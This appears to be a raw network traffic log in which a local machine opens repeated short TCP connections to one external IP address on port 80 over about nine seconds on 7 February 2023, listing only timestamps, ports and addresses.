Feb 7, 2023 23:07:58.528263092 CET	49905	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:58.528280973 CET	49906	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:58.951741934 CET	49906	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.012490034 CET	80	49906	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:59.014985085 CET	80	49906	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:59.015124083 CET	49906	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.281549931 CET	49906	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.282294989 CET	49907	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.342329025 CET	80	49906	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:59.342437983 CET	49906	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.343691111 CET	80	49907	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:59.343811989 CET	49907	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.344645023 CET	49907	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.406241894 CET	80	49907	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:59.408628941 CET	80	49907	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:59.408720970 CET	49907	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.519905090 CET	49907	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.520986080 CET	49908	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.581799984 CET	80	49908	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:59.581850052 CET	80	49907	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:59.582072020 CET	49908	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.582075119 CET	49907	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.582545042 CET	49908	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.643274069 CET	80	49908	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:59.646224022 CET	80	49908	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:59.646358013 CET	49908	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.769797087 CET	49908	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.770853996 CET	49909	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.830319881 CET	80	49908	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:59.830456018 CET	49908	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.832098007 CET	80	49909	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:59.832211018 CET	49909	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.832612991 CET	49909	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:59.893945932 CET	80	49909	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:59.896001101 CET	80	49909	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:59.896111012 CET	49909	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.003654003 CET	49909	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.005846977 CET	49910	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.065460920 CET	80	49909	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:00.066539049 CET	80	49910	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:00.066643000 CET	49909	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.066685915 CET	49910	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.070255041 CET	49910	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.130930901 CET	80	49910	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:00.134892941 CET	80	49910	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:00.135917902 CET	49910	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.244582891 CET	49910	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.246212959 CET	49911	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.305998087 CET	80	49910	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:00.306093931 CET	49910	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.309096098 CET	80	49911	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:00.309354067 CET	49911	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.309876919 CET	49911	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.371910095 CET	80	49911	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:00.373950958 CET	80	49911	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:00.374149084 CET	49911	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.495865107 CET	49911	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.496956110 CET	49912	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.558878899 CET	80	49911	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:00.558926105 CET	80	49912	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:00.559123039 CET	49911	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.559215069 CET	49912	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.559984922 CET	49912	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.622911930 CET	80	49912	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:00.624990940 CET	80	49912	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:00.626332045 CET	49912	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.747140884 CET	49912	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.747942924 CET	49913	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.810122013 CET	80	49912	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:00.810832024 CET	80	49913	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:00.810986996 CET	49912	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.811036110 CET	49913	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.811570883 CET	49913	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.873908997 CET	80	49913	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:00.876718044 CET	80	49913	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:00.876838923 CET	49913	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.987447023 CET	49913	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:00.989803076 CET	49914	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.049988985 CET	80	49913	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:01.050132036 CET	49913	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.052382946 CET	80	49914	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:01.054641962 CET	49914	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.055768967 CET	49914	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.118171930 CET	80	49914	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:01.122400999 CET	80	49914	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:01.122595072 CET	49914	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.237921953 CET	49914	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.239332914 CET	49915	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.300404072 CET	80	49914	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:01.301738977 CET	80	49915	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:01.301876068 CET	49914	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.301932096 CET	49915	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.310914993 CET	49915	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.373437881 CET	80	49915	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:01.375654936 CET	80	49915	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:01.377417088 CET	49915	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.489464045 CET	49915	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.490392923 CET	49916	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.550962925 CET	80	49916	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:01.551115036 CET	49916	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.551956892 CET	80	49915	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:01.552269936 CET	49915	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.554969072 CET	49916	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.615581036 CET	80	49916	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:01.617985010 CET	80	49916	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:01.618225098 CET	49916	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.747787952 CET	49916	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.748832941 CET	49917	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.808445930 CET	80	49916	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:01.809463024 CET	80	49917	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:01.809703112 CET	49916	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.809776068 CET	49917	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.811544895 CET	49917	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.873090029 CET	80	49917	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:01.876722097 CET	80	49917	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:01.877790928 CET	49917	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.989217997 CET	49917	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:01.990349054 CET	49918	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.050314903 CET	80	49917	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:02.050545931 CET	49917	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.051356077 CET	80	49918	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:02.051525116 CET	49918	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.062413931 CET	49918	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.123409033 CET	80	49918	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:02.127065897 CET	80	49918	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:02.127264977 CET	49918	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.238349915 CET	49918	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.240133047 CET	49919	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.300683975 CET	80	49918	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:02.300837040 CET	49918	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.302321911 CET	80	49919	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:02.302422047 CET	49919	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.303850889 CET	49919	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.367770910 CET	80	49919	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:02.370109081 CET	80	49919	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:02.370259047 CET	49919	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.472557068 CET	49919	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.473465919 CET	49920	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.535016060 CET	80	49919	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:02.535058975 CET	80	49920	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:02.535188913 CET	49919	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.535300016 CET	49920	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.536242008 CET	49920	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.597632885 CET	80	49920	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:02.599940062 CET	80	49920	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:02.600121021 CET	49920	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.721191883 CET	49920	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.721868992 CET	49921	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.781459093 CET	80	49921	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:02.781578064 CET	49921	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.782881975 CET	80	49920	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:02.782982111 CET	49920	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.784331083 CET	49921	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.843765020 CET	80	49921	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:02.846324921 CET	80	49921	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:02.846427917 CET	49921	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.956989050 CET	49921	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:02.957748890 CET	49922	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.018212080 CET	80	49921	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:03.018353939 CET	49921	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.020925999 CET	80	49922	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:03.021281004 CET	49922	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.022274971 CET	49922	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.086046934 CET	80	49922	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:03.090607882 CET	80	49922	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:03.091300964 CET	49922	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.210340977 CET	49922	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.213737965 CET	49923	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.271727085 CET	80	49922	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:03.271836996 CET	49922	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.274178982 CET	80	49923	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:03.274343014 CET	49923	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.274770021 CET	49923	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.335052967 CET	80	49923	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:03.337419033 CET	80	49923	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:03.337589025 CET	49923	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.461191893 CET	49923	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.462183952 CET	49924	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.521779060 CET	80	49923	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:03.521900892 CET	49923	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.522566080 CET	80	49924	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:03.522680044 CET	49924	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.524087906 CET	49924	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.584434986 CET	80	49924	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:03.586734056 CET	80	49924	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:03.586882114 CET	49924	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.718704939 CET	49924	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.719274044 CET	49925	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.779201031 CET	80	49924	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:03.779380083 CET	49924	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.781742096 CET	80	49925	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:03.781871080 CET	49925	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.782316923 CET	49925	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.844821930 CET	80	49925	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:03.847449064 CET	80	49925	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:03.847578049 CET	49925	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.957716942 CET	49925	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:03.958561897 CET	49926	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.018964052 CET	80	49926	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:04.019227028 CET	49926	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.020404100 CET	80	49925	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:04.020529985 CET	49925	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.026093006 CET	49926	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.088186026 CET	80	49926	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:04.093128920 CET	80	49926	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:04.094753981 CET	49926	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.207180977 CET	49926	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.208250999 CET	49927	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.267676115 CET	80	49926	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:04.268290997 CET	49926	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.270792007 CET	80	49927	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:04.271543026 CET	49927	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.272109985 CET	49927	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.334408998 CET	80	49927	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:04.337214947 CET	80	49927	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:04.337454081 CET	49927	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.442190886 CET	49927	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.444555998 CET	49928	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.504682064 CET	80	49927	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:04.504785061 CET	49927	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.506817102 CET	80	49928	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:04.507030010 CET	49928	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.507544041 CET	49928	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.569772005 CET	80	49928	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:04.572125912 CET	80	49928	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:04.573991060 CET	49928	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.709095001 CET	49928	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.709804058 CET	49929	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.772171021 CET	80	49928	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:04.772209883 CET	80	49929	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:04.772371054 CET	49928	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.772460938 CET	49929	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.773416042 CET	49929	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.836443901 CET	80	49929	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:04.839795113 CET	80	49929	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:04.839972019 CET	49929	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.958214998 CET	49929	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:04.959353924 CET	49930	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.020179033 CET	80	49930	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.020212889 CET	80	49929	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.020497084 CET	49929	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.020504951 CET	49930	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.022670984 CET	49930	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.083290100 CET	80	49930	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.087532997 CET	80	49930	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.087910891 CET	49930	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.191241026 CET	49930	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.192369938 CET	49931	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.251856089 CET	80	49930	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.252101898 CET	49930	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.253904104 CET	80	49931	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.254165888 CET	49931	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.263417006 CET	49931	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.325097084 CET	80	49931	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.328085899 CET	80	49931	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.328233957 CET	49931	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.442178011 CET	49931	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.443273067 CET	49932	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.503827095 CET	80	49932	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.503887892 CET	80	49931	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.503984928 CET	49932	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.504034996 CET	49931	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.505650043 CET	49932	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.566107988 CET	80	49932	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.569046974 CET	80	49932	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.569264889 CET	49932	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.695709944 CET	49932	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.697530031 CET	49933	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.756454945 CET	80	49932	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.756818056 CET	49932	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.759085894 CET	80	49933	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.759299994 CET	49933	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.759793043 CET	49933	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.821156025 CET	80	49933	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.823514938 CET	80	49933	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.823651075 CET	49933	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.928534031 CET	49933	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.928606987 CET	49934	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.989329100 CET	80	49934	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.989828110 CET	49934	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.989911079 CET	80	49933	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:05.990362883 CET	49934	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:05.990463018 CET	49933	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.050854921 CET	80	49934	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:06.055263042 CET	80	49934	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:06.055473089 CET	49934	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.164475918 CET	49934	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.165364981 CET	49935	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.225786924 CET	80	49934	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:06.225951910 CET	49934	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.228607893 CET	80	49935	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:06.228785992 CET	49935	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.241909981 CET	49935	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.305129051 CET	80	49935	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:06.306998014 CET	80	49935	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:06.307107925 CET	49935	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.417695999 CET	49935	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.418642998 CET	49936	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.479309082 CET	80	49935	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:06.479407072 CET	49935	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.479928970 CET	80	49936	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:06.480041981 CET	49936	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.480597973 CET	49936	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.541798115 CET	80	49936	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:06.544333935 CET	80	49936	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:06.544416904 CET	49936	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.663423061 CET	49936	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.666718960 CET	49937	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.724908113 CET	80	49936	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:06.725084066 CET	49936	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.726157904 CET	80	49937	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:06.726684093 CET	49937	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.728827000 CET	49937	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.788301945 CET	80	49937	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:06.790683985 CET	80	49937	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:06.790791988 CET	49937	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.908377886 CET	49937	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.909795046 CET	49938	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.967959881 CET	80	49937	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:06.968041897 CET	49937	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.972417116 CET	80	49938	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:06.972584963 CET	49938	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:06.973603964 CET	49938	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.036242962 CET	80	49938	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:07.040034056 CET	80	49938	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:07.041368961 CET	49938	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.145857096 CET	49938	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.146864891 CET	49939	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.208307981 CET	80	49939	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:07.208508015 CET	80	49938	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:07.208642960 CET	49938	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.208648920 CET	49939	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.214342117 CET	49939	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.275687933 CET	80	49939	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:07.278188944 CET	80	49939	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:07.278285980 CET	49939	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.399563074 CET	49939	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.400331974 CET	49940	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.463196039 CET	80	49939	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:07.463269949 CET	49939	80	192.168.2.7	62.204.41.4
